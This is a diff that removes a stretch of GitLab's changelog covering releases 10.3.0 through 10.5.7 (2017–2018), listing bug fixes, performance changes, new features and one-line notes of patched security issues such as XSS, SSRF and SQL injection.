-### Security (1 change)
-
-- Sanitizes user name to avoid XSS attacks.
-
-
-## 10.5.7 (2018-04-03)
-
-### Security (2 changes)
-
-- Fix XSS on diff view stored on filenames.
-- Adds confidential notes channel for Slack/Mattermost.
-
-
-## 10.5.6 (2018-03-16)
-
-### Security (2 changes)
-
-- Fixed some SSRF vulnerabilities in services, hooks and integrations. !2337
-- Fix GitLab Auth0 integration signing in the wrong user.
-
-
-## 10.5.5 (2018-03-15)
-
-### Fixed (3 changes)
-
-- Fix missing uploads after group transfer. !17658
-- Fix code and wiki search results when filename is non-ASCII.
-- Remove double caching of Repository#empty?.
-
-### Performance (2 changes)
-
-- Adding missing indexes on taggings table.
-- Add index on section_name_id on ci_build_trace_sections table.
-
-
-## 10.5.4 (2018-03-08)
-
-### Fixed (11 changes)
-
-- Encode branch name as binary before creating a RPC request to copy attributes. !17291
-- Restart Unicorn and Sidekiq when GRPC throws 14:Endpoint read failed. !17293
-- Ensure group issues and merge requests pages show results from subgroups when there are no results from the current group. !17312
-- Prevent trace artifact migration to incur data loss. !17313
-- Return a 404 instead of 403 if the repository does not exist on disk. !17341
-- Allow Prometheus application to be installed from Cluster applications. !17372
-- Fixes Prometheus admin configuration page. !17377
-- Fix code and wiki search results pages when non-ASCII text is displayed. !17413
-- Fix pages flaky failure by reloading stale object. !17522
-- Fixed issue edit shortcut not opening edit form.
-- Revert Project.public_or_visible_to_user changes and only apply to snippets.
-
-### Performance (1 change)
-
-- Don't use ProjectsFinder in TodosFinder.
-
-
-## 10.5.3 (2018-03-01)
-
-### Security (1 change)
-
-- Ensure that OTP backup codes are always invalidated.
-
-
-## 10.5.2 (2018-02-25)
-
-### Fixed (7 changes)
-
-- Fix single digit value clipping for stacked progress bar. !17217
-- Fix issue with cache key being empty when variable used as the key. !17260
-- Enable Legacy Authorization by default on Cluster creations. !17302
-- Allow branch names to be named the same as the sha it points to.
-- Fix 500 error when loading an invalid upload URL.
-- Don't attempt to update user tracked fields if database is in read-only.
-- Prevent MR Widget error when no CI configured.
-
-### Performance (5 changes)
-
-- Improve query performance for snippets dashboard. !17088
-- Only check LFS integrity for first ref in a push to avoid timeout. !17098
-- Improve query performance of MembersFinder. !17190
-- Increase feature flag cache TTL to one hour.
-- Improve performance of searching for and autocompleting of users.
-
-
-## 10.5.1 (2018-02-22)
-
-- No changes.
-
-## 10.5.0 (2018-02-22)
-
-### Security (3 changes, 1 of them is from the community)
-
-- Update marked from 0.3.6 to 0.3.12. !16480 (Takuya Noguchi)
-- Update nokogiri to 1.8.2. !16807
-- Add verification for GitLab Pages custom domains.
-
-### Fixed (77 changes, 25 of them are from the community)
-
-- Fix the Projects API with_issues_enabled filter behaving incorrectly any user. !12724 (Jan Christophersen)
-- Hide pipeline schedule take ownership for current owner. !12986
-- Handle special characters on API request of issuable templates. !15323 (Takuya Noguchi)
-- Shows signin tab after new user email confirmation. !16174 (Jacopo Beschi @jacopo-beschi)
-- Make project README containers wider on fixed layout. !16181 (Takuya Noguchi)
-- Fix dashboard projects nav links height. !16204 (George Tsiolis)
-- Fix error on empty query for Members API. !16235
-- Issue board: fix for dragging an issue to the very bottom in long lists. !16250 (David Kuri)
-- Make rich blob viewer wider for PC. !16262 (Takuya Noguchi)
-- Substitute deprecated ui_charcoal with new default ui_indigo. !16271 (Takuya Noguchi)
-- Generate HTTP URLs for custom Pages domains when appropriate. !16279
-- Make modal dialog common for Groups tree app. !16311
-- Allow moving wiki pages from the UI. !16313
-- Filter groups and projects dropdowns of search page on backend. !16336
-- Adjust layout width for fixed layout. !16337 (George Tsiolis)
-- Fix custom header logo design nitpick: Remove unneeded margin on empty logo text. !16383 (Markus Doits)
-- File Upload UI can create LFS pointers based on .gitattributes. !16412
-- Fix Ctrl+Enter keyboard shortcut saving comment/note edit. !16415
-- Fix file search results when they match file contents with a number between two colons. !16462
-- Fix tooltip displayed for running manual actions. !16489
-- Allow trailing + on labels in board filters. !16490
-- Prevent JIRA issue identifier from being humanized. !16491 (Andrew McCallum)
-- Add horizontal scroll to wiki tables. !16527 (George Tsiolis)
-- Fix a bug calculating artifact size for project statistics. !16539
-- Stop loading spinner on error of issuable templates. !16600 (Takuya Noguchi)
-- Allows html text in commits atom feed. !16603 (Jacopo Beschi @jacopo-beschi)
-- Disable MR check out button when source branch is deleted. !16631 (Jacopo Beschi @jacopo-beschi)
-- Fix export removal for hashed-storage projects within a renamed or deleted namespace. !16658
-- Default to HTTPS for all Gravatar URLs. !16666
-- Login via OAuth now only marks new users as external. !16672
-- Fix default avatar icon missing when Gravatar is disabled. !16681 (Felix Geyer)
-- Change button group width on mobile. !16726 (George Tsiolis)
-- Fix version information not showing on help page if commercial content display was disabled. !16743
-- Adds spacing between edit and delete tag btn in tag list. !16757 (Jacopo Beschi @jacopo-beschi)
-- Fix 500 error when loading a merge request with an invalid comment. !16795
-- Deleting an upload will correctly clean up the filesystem. !16799
-- Cleanup new branch/merge request form in issues. !16854
-- Fix GitLab import leaving group_id on ProjectLabel. !16877
-- Fix forking projects when no restricted visibility levels are defined applicationwide. !16881
-- Trigger change event on filename input when file template is applied. !16911 (Sebastian Klingler)
-- Fixes different margins between buttons in tag list. !16927 (Jacopo Beschi @jacopo-beschi)
-- Close low level rugged repository in project cache worker. !16930 (Bastian Blank)
-- Override group sidebar links. !16942 (George Tsiolis)
-- Avoid running `PopulateForkNetworksRange`-migration multiple times. !16988
-- Resolve PrepareUntrackedUploads PostgreSQL syntax error. !17019
-- Fix monaco editor features which were incompatible with GitLab CDN settings. !17021
-- Fixed error 500 when removing an identity with synced attributes and visiting the profile page. !17054
-- Fix cnacel edit note button reverting changes. !42462
-- For issues display time of last edit of title or description instead of time of any attribute change.
-- Handle all Psych YAML parser exceptions (fixes #41209).
-- Fix validation of environment scope of variables.
-- Display user friendly error message if rebase fails.
-- Hide new branch and tag links for projects with an empty repo.
-- Fix protected branches API to accept name parameter with dot.
-- Closes #38540 - Remove .ssh/environment file that now breaks the gitlab:check rake task.
-- Keep subscribers when promoting labels to group labels.
-- Replace verified badge icons and uniform colors.
-- Fix error on changes tab when merge request cannot be created.
-- Ignore leading slashes when searching for files within context of repository. (Andrew McCallum)
-- Close and do not reload MR diffs when source branch is deleted.
-- Bypass commits title markdown on notes.
-- Reload MRs memoization after diffs creation.
-- Return more consistent values for merge_status on MR APIs.
-- Contribution calendar label was cut off. (Branka Martinovic)
-- LDAP Person no longer throws exception on invalid entry.
-- Fix bug where award emojis would be lost when moving issues between projects.
-- Fix not all events being shown in group dashboard.
-- Fix JIRA not working when a trailing slash is included.
-- Fix squash not working when diff contained non-ASCII data.
-- Remove erroneous text in shared runners page that suggested more runners available.
-- Execute system hooks after-commit when executing project hooks.
-- Makes forking protect default branch on completion.
-- Validate user, group and project paths consistently, and only once.
-- Validate user namespace before saving so that errors persist on model.
-- Permits 'password_authentication_enabled_for_git' parameter for ApplicationSettingsController.
-- Fix duplicate item in protected branch/tag dropdown.
-- Open visibility level help in a new tab. (Jussi Räsänen)
-
-### Deprecated (1 change)
-
-- Add note within ux documentation that further changes should be made within the design.gitlab project.
-
-### Changed (20 changes, 7 of them are from the community)
-
-- Show coverage to two decimal points in coverage badge. !10083 (Jeff Stubler)
-- Update 'removed assignee' note to include old assignee reference. !16301 (Maurizio De Santis)
-- Move row containing Projects, Users and Groups count to the top in admin dashboard. !16421
-- Add Auto DevOps Domain application setting. !16604
-- Changes Revert this merge request text. !16611 (Jacopo Beschi @jacopo-beschi)
-- Link Auto DevOps settings to Clusters page. !16641
-- Internationalize charts page. !16687 (selrahman)
-- Internationalize graph page selrahman. !16688 (Shah El-Rahman)
-- Save traces as artifacts. !16702
-- Hide variable values on pipeline schedule edit page. !16729
-- Update runner info on all authenticated requests. !16756
-- Improve issue note dropdown and mr button. !16758 (George Tsiolis)
-- Replace "cluster" with "Kubernetes cluster". !16778
-- Enable Prometheus metrics for deployed Ingresses. !16866 (joshlambert)
-- Rename button to enable CI/CD configuration to "Set up CI/CD". !16870
-- Double padding for file-content wiki class on larger screens.
-- Improve wording about additional costs for Ingress on custom clusters.
-- Last push widget will show banner for new pushes to previously merged branch.
-- Save user ID and username in Grape API log (api_json.log).
-- Include subgroup issues and merge requests on the group page.
-
-### Performance (14 changes, 1 of them is from the community)
-
-- Fix double query execution on groups page. !16314
-- Speed up loading merged merge requests when they contained a lot of commits before merging. !16320
-- Properly memoize some predicate methods. !16329
-- Reduce the number of Prometheus metrics. !16443
-- Only highlight search results under the highlighting size limit. !16462
-- Add fast-blank. !16468
-- Move BoardList vue component to vue file. !16888 (George Tsiolis)
-- Fix N+1 query problem for snippets dashboard. !16944
-- Optimize search queries on the search page by setting a limit for matching records.
-- Store number of commits in merge_request_diffs table.
-- Improve performance of target branch dropdown.
-- Remove duplicate calls of MergeRequest#can_be_reverted?.
-- Stop checking if discussions are in a mergeable state if the MR isn't.
-- Remove N+1 queries with /projects/:project_id/{access_requests,members} API endpoints.
-
-### Added (28 changes, 10 of them are from the community)
-
-- Add link on commit page to merge request that introduced that commit. !13713 (Hiroyuki Sato)
-- System hooks for Merge Requests. !14387 (Alexis Reigel)
-- Add `pipelines` endpoint to merge requests API. !15454 (Tony Rom <thetonyrom@gmail.com>)
-- Adds Rubocop rule for line break around conditionals. !15739 (Jacopo Beschi @jacopo-beschi)
-- Add Colors to GitLab Flavored Markdown. !16095 (Tony Rom <thetonyrom@gmail.com>)
-- Initial work to add notification reason to emails. !16160 (Mario de la Ossa)
-- Implement multi server support and use kube proxy to connect to Prometheus servers inside K8S cluster. !16182
-- Add ability to transfer a group into another group. !16302
-- Add blue dot feature highlight to make GKE Clusters more visible to users. !16379
-- Add section headers to plus button dropdown. !16394 (George Tsiolis)
-- Support PostgreSQL 10. !16471
-- Enables Project Milestone Deletion via the API. !16478 (Jacopo Beschi @jacopo-beschi)
-- Add realtime ci status for the repository -> files view. !16523
-- User can now git push to create a new project. !16547
-- Improve empty project overview. !16617 (George Tsiolis)
-- Added uploader metadata to the uploads. !16779
-- Added ldap config setting to lower case the username. !16791
-- Add search support into the API. !16878
-- Backport of LFS File Locking API. !16935
-- Add a link to documentation on how to get external ip in the Kubernetes cluster details page. !16937
-- Add sorting options for /users API (admin only). !16945
-- Adds sorting to deployments API. (Jacopo Beschi @jacopo-beschi)
-- Add rake task to check integrity of uploaded files.
-- Add backend for persistently dismissably callouts.
-- Track and act upon the number of executed queries.
-- Add a gRPC health check to ensure Gitaly is up.
-- Log and send a system hook if a blocked user attempts to login.
-- Add Gitaly Servers admin dashboard.
-
-### Other (25 changes, 7 of them are from the community)
-
-- Updated the katex library. !15864
-- Add modal for deleting a milestone. !16229
-- Remove unused CSS selectors for Cycle Analytics. !16270 (Takuya Noguchi)
-- Add reason to keep postgresql 9.2 for CI. !16277 (Takuya Noguchi)
-- Adjust modal style to new design. !16310
-- Default to Gitaly for 'git push' HTTP/SSH, and make Gitaly mandatory for SSH pull. !16586
-- Set timezone for karma to UTC. !16602 (Takuya Noguchi)
-- Make Gitaly RepositoryExists opt-out. !16680
-- Update minimum git version to 2.9.5. !16683
-- Disable throwOnError in KaTeX to reveal user where is the problem. !16684 (Jakub Jirutka)
-- fix documentation about node version. !16720 (Tobias Gurtzick)
-- Enable RuboCop Style/RegexpLiteral. !16752 (Takuya Noguchi)
-- Add confirmation-input component. !16816
-- Add unique constraint to trending_projects#project_id. !16846
-- Add foreign key and NOT NULL constraints to todos table. !16849
-- Include branch in mobile view for pipelines. !16910 (George Tsiolis)
-- Downgrade google-protobuf gem. !16941
-- Refactors mr widget components into vue files and adds i18n.
-- increase-readability-of-colored-text-in-job-output-log.
-- Finish any remaining jobs for issues.closed_at.
-- Translate issuable sidebar.
-- Set standard disabled state for all buttons.
-- Upgrade GitLab Workhorse to v3.6.0.
-- Improve readability of underlined links for dyslexic users.
-- Adds empty state illustration for pending job.
-
-
-## 10.4.7 (2018-04-03)
-
-### Security (2 changes)
-
-- Fix XSS on diff view stored on filenames.
-- Adds confidential notes channel for Slack/Mattermost.
-
-
-## 10.4.6 (2018-03-16)
-
-### Security (2 changes)
-
-- Fixed some SSRF vulnerabilities in services, hooks and integrations. !2337
-- Fix GitLab Auth0 integration signing in the wrong user.
-
-
-## 10.4.5 (2018-03-01)
-
-### Security (1 change)
-
-- Ensure that OTP backup codes are always invalidated.
-
-
-## 10.4.4 (2018-02-16)
-
-### Security (1 change)
-
-- Update nokogiri to 1.8.2. !16807
-
-### Fixed (9 changes)
-
-- Fix 500 error when loading a merge request with an invalid comment. !16795
-- Cleanup new branch/merge request form in issues. !16854
-- Fix GitLab import leaving group_id on ProjectLabel. !16877
-- Fix forking projects when no restricted visibility levels are defined applicationwide. !16881
-- Resolve PrepareUntrackedUploads PostgreSQL syntax error. !17019
-- Fixed error 500 when removing an identity with synced attributes and visiting the profile page. !17054
-- Validate user namespace before saving so that errors persist on model.
-- LDAP Person no longer throws exception on invalid entry.
-- Fix JIRA not working when a trailing slash is included.
-
-
-## 10.4.3 (2018-02-05)
-
-### Security (4 changes)
-
-- Fix namespace access issue for GitHub, BitBucket, and GitLab.com project importers.
-- Fix stored XSS in code blocks that ignore highlighting.
-- Fix wilcard protected tags protecting all branches.
-- Restrict Todo API mark_as_done endpoint to the user's todos only.
-
-
-## 10.4.2 (2018-01-30)
-
-### Fixed (6 changes)
-
-- Fix copy/paste on iOS devices due to a bug in webkit. !15804
-- Fix missing "allow users to request access" option in public project permissions. !16485
-- Fix encoding issue when counting commit count. !16637
-- Fixes destination already exists, and some particular service errors on Import/Export error. !16714
-- Fix cache clear bug withg using : on Windows. !16740
-- Use has_table_privilege for TRIGGER on PostgreSQL.
-
-### Changed (1 change)
-
-- Vendor Auto DevOps template with DAST security checks enabled. !16691
-
-
-## 10.4.1 (2018-01-24)
-
-### Fixed (4 changes)
-
-- Ensure that users can reclaim a namespace or project path that is blocked by an orphaned route. !16242
-- Correctly escape UTF-8 path elements for uploads. !16560
-- Fix issues when rendering groups and their children. !16584
-- Fix bug in which projects with forks could not change visibility settings from Private to Public. !16595
-
-### Performance (2 changes)
-
-- rework indexes on redirect_routes.
-- Remove unnecessary query from labels filter.
-
-
-## 10.4.0 (2018-01-22)
-
-### Security (8 changes, 1 of them is from the community)
-
-- Upgrade Ruby to 2.3.6 to include security patches. !16016
-- Prevent a SQL injection in the MilestonesFinder.
-- Check user authorization for source and target projects when creating a merge request.
-- Fix path traversal in gitlab-ci.yml cache:key.
-- Fix writable shared deploy keys.
-- Filter out sensitive fields from the project services API. (Robert Schilling)
-- Fix RCE via project import mechanism.
-- Prevent OAuth login POST requests when a provider has been disabled.
-
-### Fixed (68 changes, 24 of them are from the community)
-
-- Update comment on image cursor and icons. !15760
-- Fixes the wording of headers in system info page. !15802 (Gilbert Roulot)
-- Reset todo counters when the target is deleted. !15807
-- Execute quick actions (if present) when creating MR from issue. !15810
-- fix build count in pipeline success mail. !15827 (Christiaan Van den Poel)
-- Fix error that was preventing users to change the access level of access requests for Groups or Projects. !15832
-- Last push event widget width for fixed layout. !15862 (George Tsiolis)
-- Hide link to issues/MRs from labels list if issues/MRs are disabled. !15863 (Sophie Herold)
-- Use relative URL for projects to avoid storing domains. !15876
-- Fix gitlab-rake gitlab:import:repos import schedule. !15931
-- Removed incorrect guidance stating blocked users will be removed from groups and project as members. !15947 (CesarApodaca)
-- Fix some POST/DELETE requests in IE by switching some bundles to Axios for Ajax requests. !15951
-- Fixing error 500 when member exist but not the user. !15970
-- show None when issue is in closed list and no labels assigned. !15976 (Christiaan Van den Poel)
-- Fix tags in the Activity tab not being clickable. !15996 (Mario de la Ossa)
-- Disable Vue pagination when only one page of content is available. !15999 (Mario de la Ossa)
-- disables shortcut to issue boards when issues are not enabled. !16020 (Christiaan Van den Poel)
-- Ignore lost+found folder during backup on a volume. !16036 (Julien Millau)
-- Fix abuse reports link url in admin area navbar. !16068 (megos)
-- Keep typographic hierarchy in User Settings. !16090 (George Tsiolis)
-- Adjust content width for User Settings, GPG Keys. !16093 (George Tsiolis)
-- Fix gitlab-rake gitlab:import:repos import schedule. !16115
-- Fix import project url not updating project name. !16120
-- Fix activity inline event line height on mobile. !16121 (George Tsiolis)
-- Fix slash commands dropdown description mis-alignment on Firefox. !16125 (Maurizio De Santis)
-- Remove unnecessary sidebar element realignment. !16159 (George Tsiolis)
-- User#projects_limit remove DB default and added NOT NULL constraint. !16165 (Mario de la Ossa)
-- Fix API endpoints to edit wiki pages where project belongs to a group. !16170
-- Fix breadcrumbs in User Settings. !16172 (rfwatson)
-- Move 2FA disable button. !16177 (George Tsiolis)
-- Fixing bug when wiki last version. !16197
-- Protected branch is now created for default branch on import. !16198
-- Prevent excessive DB load due to faulty DeleteConflictingRedirectRoutes background migration. !16205
-- Force Auto DevOps kubectl version to 1.8.6. !16218
-- Fix missing references to pipeline objects when restoring project with import/export feature. !16221
-- Fix inconsistent downcase of filenames in prefilled `Add` commit messages. !16232 (James Ramsay)
-- Default merge request title is set correctly again when external issue tracker is activated. !16356 (Ben305)
-- Ensure that emails contain absolute, rather than relative, links to user uploads. !16364
-- Prevent invalid Route path if path is unchanged. !16397
-- Fixing rack request mime type when using rack attack. !16427
-- Prevent RevList failing on non utf8 paths. !16440
-- Fix giant fork icons on forks page. !16474
-- Fix links to uploaded files on wiki pages. !16499
-- Modify `LDAP::Person` to return username value based on attributes.
-- Fixed merge request status badge not updating after merging.
-- Remove related links in MR widget when empty state.
-- Gracefully handle garbled URIs in Markdown.
-- Fix hooks not being set up properly for bare import Rake task.
-- Fix Mermaid drawings not loading on some browsers.
-- Humanize the units of "Showing last X KiB of log" in job trace.
-- Avoid leaving a push event empty if payload cannot be created.
-- Show authored date rather than committed date on the commit list.
-- Fix when branch creation fails don't post system note. (Mateusz Bajorski)
-- Fix viewing merge request diffs where the underlying blobs are unavailable.
-- Fix 500 error when visiting a commit where the blobs do not exist.
-- Set target_branch to the ref branch when creating MR from issue.
-- Fix closed text for issues on Todos page.
-- [API] Fix creating issue when assignee_id is empty.
-- Fix false positive issue references in merge requests caused by header anchor links.
-- Fixed chanages dropdown ellipsis positioning.
-- Fix shortcut links on help page.
-- Clears visual token on second backspace. (Martin Wortschack)
-- Fix onion-skin re-entering state.
-- fix button alignment on MWPS component.
-- Add optional search param for Merge Requests API.
-- Normalizing Identity extern_uid when saving the record.
-- Fixed typo for issue description field declaration. (Marcus Amargi)
-- Fix ANSI 256 bold colors in pipelines job output.
-
-### Changed (18 changes, 3 of them are from the community)
-
-- Make mail notifications of discussion notes In-Reply-To of each other. !14289
-- Migrate existing data from KubernetesService to Clusters::Platforms::Kubernetes. !15589
-- Implement checking GCP project billing status in cluster creation form. !15665
-- Present multiple clusters in a single list instead of a tabbed view. !15669
-- Remove soft removals related code. !15789
-- Only mark import and fork jobs as failed once all Sidekiq retries get exhausted. !15844
-- Translate date ranges on contributors page. !15846
-- Update issuable status icons. !15898
-- Update feature toggle design to use icons and make it i18n friendly. !15904
-- Update groups tree to use GitLab SVG icons, add last updated at information for projects. !15980
-- Allow forking a public project to a private group. !16050
-- Expose project_id on /api/v4/pages/domains. !16200 (Luc Didry)
-- Display graph values on hover within monitoring page. !16261
-- removed tabindexes from tag form. (Marcus Amargi)
-- Move edit button to second row on issue page (and change it to a pencil icon).
-- Run background migrations with a minimum interval.
-- Provide additional cookies to JIRA service requests to allow Oracle WebGates Basic Auth. (Stanislaw Wozniak)
-- Hide markdown toolbar in preview mode.
-
-### Performance (11 changes)
-
-- Improve the performance for counting diverging commits. Show 999+ if it is more than 1000 commits. !15963
-- Treat empty markdown and html strings as valid cached text, not missing cache that needs to be updated.
-- Cache merged and closed events data in merge_request_metrics table.
-- Speed up generation of commit stats by using Rugged native methods.
-- Improve search query for issues.
-- Improve search query for merge requests.
-- Eager load event target authors whenever possible.
-- Use simple Next/Prev paging for jobs to avoid large count queries on arbitrarily large sets of historical jobs.
-- Improve performance of MR discussions on large diffs.
-- Add index on namespaces lower(name) for UsersController#exists.
-- Fix timeout when filtering issues by label.
-
-### Added (26 changes, 8 of them are from the community)
-
-- Support new chat notifications parameters in Services API. !11435
-- Add online and status attribute to runner api entity. !11750
-- Adds ordering to projects contributors in API. !15469 (Jacopo Beschi @jacopo-beschi)
-- Add assets_sync gem to Gemfile. !15734
-- Add a gitlab:tcp_check rake task. !15759
-- add support for sorting in tags api. !15772 (haseebeqx)
-- Add Prometheus to available Cluster applications. !15895
-- Validate file status when committing multiple files. !15922
-- List of avatars should never show +1. !15972 (Jacopo Beschi @jacopo-beschi)
-- Do not generate NPM links for private NPM modules in blob view. !16002 (Mario de la Ossa)
-- Backport fast database lookup of SSH authorized_keys from EE. !16014
-- Add i18n helpers to branch comparison view. !16031 (James Ramsay)
-- Add pause/resume button to project runners. !16032 (Mario de la Ossa)
-- Added option to user preferences to enable the multi file editor. !16056
-- Implement project jobs cache reset. !16067
-- Rendering of emoji's in Group-Overview. !16098 (Jacopo Beschi @jacopo-beschi)
-- Allow automatic creation of Kubernetes Integration from template. !16104
-- API: get participants from merge_requests & issues. !16187 (Brent Greeff)
-- Added option to disable commits stats in the commit endpoint. !16309
-- Disable creation of new Kubernetes Integrations unless they're active or created from template. !41054
-- Added badge to tree & blob views to indicate LFS tracked files.
-- Enable ordering of groups and their children by name.
-- Add button to run scheduled pipeline immediately.
-- Allow user to rebase merge requests.
-- Handle GitLab hashed storage repositories using the repo import task.
-- Hide runner token in CI/CD settings page.
-
-### Other (12 changes, 3 of them are from the community)
-
-- Adds the multi file editor as a new beta feature. !15430
-- Use relative URLs when linking to uploaded files. !15751
-- Add docs for why you might be signed out when using the Remember me token. !15756
-- Replace '.team << [user, role]' with 'add_role(user)' in specs. !16069 (@blackst0ne)
-- Add id to modal.vue to support data-toggle="modal". !16189
-- Update scss-lint to 0.56.0. !16278 (Takuya Noguchi)
-- Fix web ide user preferences copy and buttons. !41789
-- Update redis-rack to 2.0.4.
-- Import some code and functionality from gitlab-shell to improve subprocess handling.
-- Update Browse file to Choose file in all occurrences.
-- Bump mysql2 gem version from 0.4.5 to 0.4.10. (asaparov)
-- Use a background migration for issues.closed_at.
-
-
-## 10.3.9 (2018-03-16)
-
-### Security (3 changes)
-
-- Fixed some SSRF vulnerabilities in services, hooks and integrations. !2337
-- Update nokogiri to 1.8.2. !16807
-- Fix GitLab Auth0 integration signing in the wrong user.
-
-
-## 10.3.8 (2018-03-01)
-
-### Security (1 change)
-
-- Ensure that OTP backup codes are always invalidated.
-
-
-## 10.3.7 (2018-02-05)
-
-### Security (4 changes)
-
-- Fix namespace access issue for GitHub, BitBucket, and GitLab.com project importers.
-- Fix stored XSS in code blocks that ignore highlighting.
-- Fix wilcard protected tags protecting all branches.
-- Restrict Todo API mark_as_done endpoint to the user's todos only.
-
-
-## 10.3.6 (2018-01-22)
-
-### Fixed (17 changes, 2 of them are from the community)
-
-- Fix abuse reports link url in admin area navbar. !16068 (megos)
-- Fix gitlab-rake gitlab:import:repos import schedule. !16115
-- Fixing bug when wiki last version. !16197
-- Prevent excessive DB load due to faulty DeleteConflictingRedirectRoutes background migration. !16205
-- Default merge request title is set correctly again when external issue tracker is activated. !16356 (Ben305)
-- Prevent invalid Route path if path is unchanged. !16397
-- Fixing rack request mime type when using rack attack. !16427
-- Prevent RevList failing on non utf8 paths. !16440
-- Fix 500 error when visiting a commit where the blobs do not exist.
-- Fix viewing merge request diffs where the underlying blobs are unavailable.
-- Gracefully handle garbled URIs in Markdown.
-- Fix hooks not being set up properly for bare import Rake task.
-- Fix Mermaid drawings not loading on some browsers.
-- Fixed chanages dropdown ellipsis positioning.
-- Avoid leaving a push event empty if payload cannot be created.
-- Set target_branch to the ref branch when creating MR from issue.
-- Fix shortcut links on help page.
-
-
-## 10.3.5 (2018-01-18)
-
-- Fix error that prevented the 'deploy_keys' migration from working in MySQL databases.
-
-## 10.3.4 (2018-01-10)
-
-### Security (7 changes, 1 of them is from the community)
-
-- Prevent a SQL injection in the MilestonesFinder.
-- Fix RCE via project import mechanism.
-- Prevent OAuth login POST requests when a provider has been disabled.
-- Filter out sensitive fields from the project services API. (Robert Schilling)
-- Check user authorization for source and target projects when creating a merge request.
-- Fix path traversal in gitlab-ci.yml cache:key.
-- Fix writable shared deploy keys.
-
-
-## 10.3.3 (2018-01-02)
-
-### Fixed (3 changes)
-
-- Fix links to old commits in merge request comments.
-- Fix 404 errors after a user edits an issue description and solves the reCAPTCHA.
-- Gracefully handle orphaned write deploy keys in /internal/post_receive.
-
-
-## 10.3.2 (2017-12-28)
-
-### Fixed (1 change)
-
-- Fix migration for removing orphaned issues.moved_to_id values in MySQL and PostgreSQL.
-
-
-## 10.3.1 (2017-12-27)
-
-### Fixed (3 changes)
-
-- Don't link LFS objects to a project when unlinking forks when they were already linked. !16006
-- Execute project hooks and services after commit when moving an issue.
-- Fix Error 500s with anonymous clones for a project that has moved.
-
-### Changed (1 change)
-
-- Reduce the number of buckets in gitlab_cache_operation_duration_seconds metric. !15881
-
-
-## 10.3.0 (2017-12-22)
-
-### Security (1 change, 1 of them is from the community)
-
-- Upgrade jQuery to 2.2.4. !15570 (Takuya Noguchi)
-
-### Fixed (55 changes, 8 of them are from the community)
-
-- Fail jobs if its dependency is missing. !14009
-- Fix errors when selecting numeric-only labels in the labels autocomplete selector. !14607 (haseebeqx)
-- Fix pipeline status transition for single manual job. This would also fix pipeline duration becuse it is depending on status transition. !15251
-- Fix acceptance of username for Mattermost service update. !15275
-- Set the default gitlab-shell timeout to 3 hours. !15292
-- Make sure a user can add projects to subgroups they have access to. !15294
-- OAuth identity lookups case-insensitive. !15312
-- Fix filter by my reaction is not working. !15345 (Hiroyuki Sato)
-- Avoid deactivation when pipeline schedules execute a branch includes `[ci skip]` comment. !15405
-- Add recaptcha modal to issue updates detected as spam. !15408
-- Fix item name and namespace text overflow in Projects dropdown. !15451
-- Removed unused rake task, 'rake gitlab:sidekiq:drop_post_receive'. !15493
-- Fix commits page throwing 500 when the multi-file editor was enabled. !15502
-- Fix Issue comment submit button being disabled when pasting content from another GFM note. !15530
-- Reenable Prometheus metrics, add more control over Prometheus method instrumentation. !15558
-- Fix broadcast message not showing up on login page. !15578
-- Initializes the branches dropdown when the 'Start new pipeline' failed due to validation errors. !15588 (Christiaan Van den Poel)
-- Fix merge requests where the source or target branch name matches a tag name. !15591
-- Create a fork network for forks with a deleted source. !15595
-- Fix search results when a filename would contain a special character. !15606 (haseebeqx)
-- Strip leading & trailing whitespaces in CI/CD secret variable keys. !15615
-- Correctly link to a forked project from the new fork page. !15653
-- Fix the fork project functionality for projects with hashed storage. !15671
-- Added default order to UsersFinder. !15679
-- Fix graph notes number duplication. !15696 (Vladislav Kaverin)
-- Fix updateEndpoint undefined error for issue_show app root. !15698
-- Change boards page boards_data absolute urls to paths. !15703
-- Using appropriate services in the API for managing forks. !15709
-- Confirming email with invalid token should no longer generate an error. !15726
-- fix #39233 - 500 in merge request. !15774 (Martin Nowak)
-- Use Markdown styling for new project guidelines. !15785 (Markus Koller)
-- Fix error during schema dump. !15866
-- Fix broken illustration images for monitoring page empty states. !15889
-- Make sure user email is read only when synced with LDAP. !15915
-- Fixed outdated browser flash positioning.
-- Fix gitlab:import:repos Rake task moving repositories into the wrong location.
-- Gracefully handle case when repository's root ref does not exist.
-- Fix GitHub importer using removed interface.
-- Align retry button with job title with new grid size.
-- Fixed admin welcome screen new group path.
-- Fix related branches/Merge requests failing to load when the hostname setting is changed.
-- Init zen mode in snippets pages.
-- Remove extra margin from wordmark in header.
-- Fixed long commit links not wrapping correctly.
-- Fixed deploy keys remove button loading state not resetting.
-- Use app host instead of asset host when rendering image blob or diff.
-- Hide log size for mobile screens.
-- Fix sending notification emails to users with the mention level set who were mentioned in an issue or merge request description.
-- Changed validation error message on wrong milestone dates. (Xurxo Méndez Pérez)
-- Fix access to the final page of todos.
-- Fixed new group milestone breadcrumbs.
-- Fix image diff notification email from showing wrong content.
-- Fixed merge request lock icon size.
-- Make sure head pippeline always corresponds with the head sha of an MR.
-- Prevent 500 error when inspecting job after trigger was removed.
-
-### Changed (14 changes, 2 of them are from the community)
-
-- Only owner or master can erase jobs. !15216
-- Allow password authentication to be disabled entirely. !15223 (Markus Koller)
-- Add the option to automatically run a pipeline after updating AutoDevOps settings. !15380
-- Add total_time_spent to the `changes` hash in issuable Webhook payloads. !15381
-- Monitor NFS shards for circuitbreaker in a separate process. !15426
-- Add inline editing to issues on mobile. !15438
-- Add custom brand text on new project pages. !15541 (Markus Koller)
-- Show only group name by default and put full namespace in tooltip in Groups tree. !15650
-- Use custom user agent header in all GCP API requests. !15705
-- Changed the deploy markers on the prometheus dashboard to be more verbose. !38032
-- Animate contextual sidebar on collapse/expand.
-- Update emojis. Add :gay_pride_flag: and :speech_left:. Remove extraneous comma in :cartwheel_tone4:.
-- When a custom header logo is present, don't show GitLab type logo.
-- Improved diff changed files dropdown design.
-
-### Performance (19 changes)
-
-- Add timeouts for Gitaly calls. !15047
-- Performance issues when loading large number of wiki pages. !15276
-- Add performance logging to UpdateMergeRequestsWorker. !15360
-- Keep track of all circuitbreaker keys in a set. !15613
-- Improve the performance for counting commits. !15628
-- Reduce requests for project forks on show page of projects that have forks. !15663
-- Perform SQL matching of Build&Runner tags to greatly speed-up job picking.
-- Only load branch names for protected branch checks.
-- Optimize API /groups/:id/projects by preloading associations.
-- Remove allocation tracking code from InfluxDB sampler for performance.
-- Throttle the number of UPDATEs triggered by touch.
-- Make finding most recent merge request diffs more efficient.
-- Fetch blobs in bulk when generating diffs.
-- Cache commits for MergeRequest diffs.
-- Use fuzzy search with minimum length of 3 characters where appropriate.
-- Add axios to common file.
-- Remove template selector from global namespace.
-- check the import_status field before doing SQL operations to check the import url.
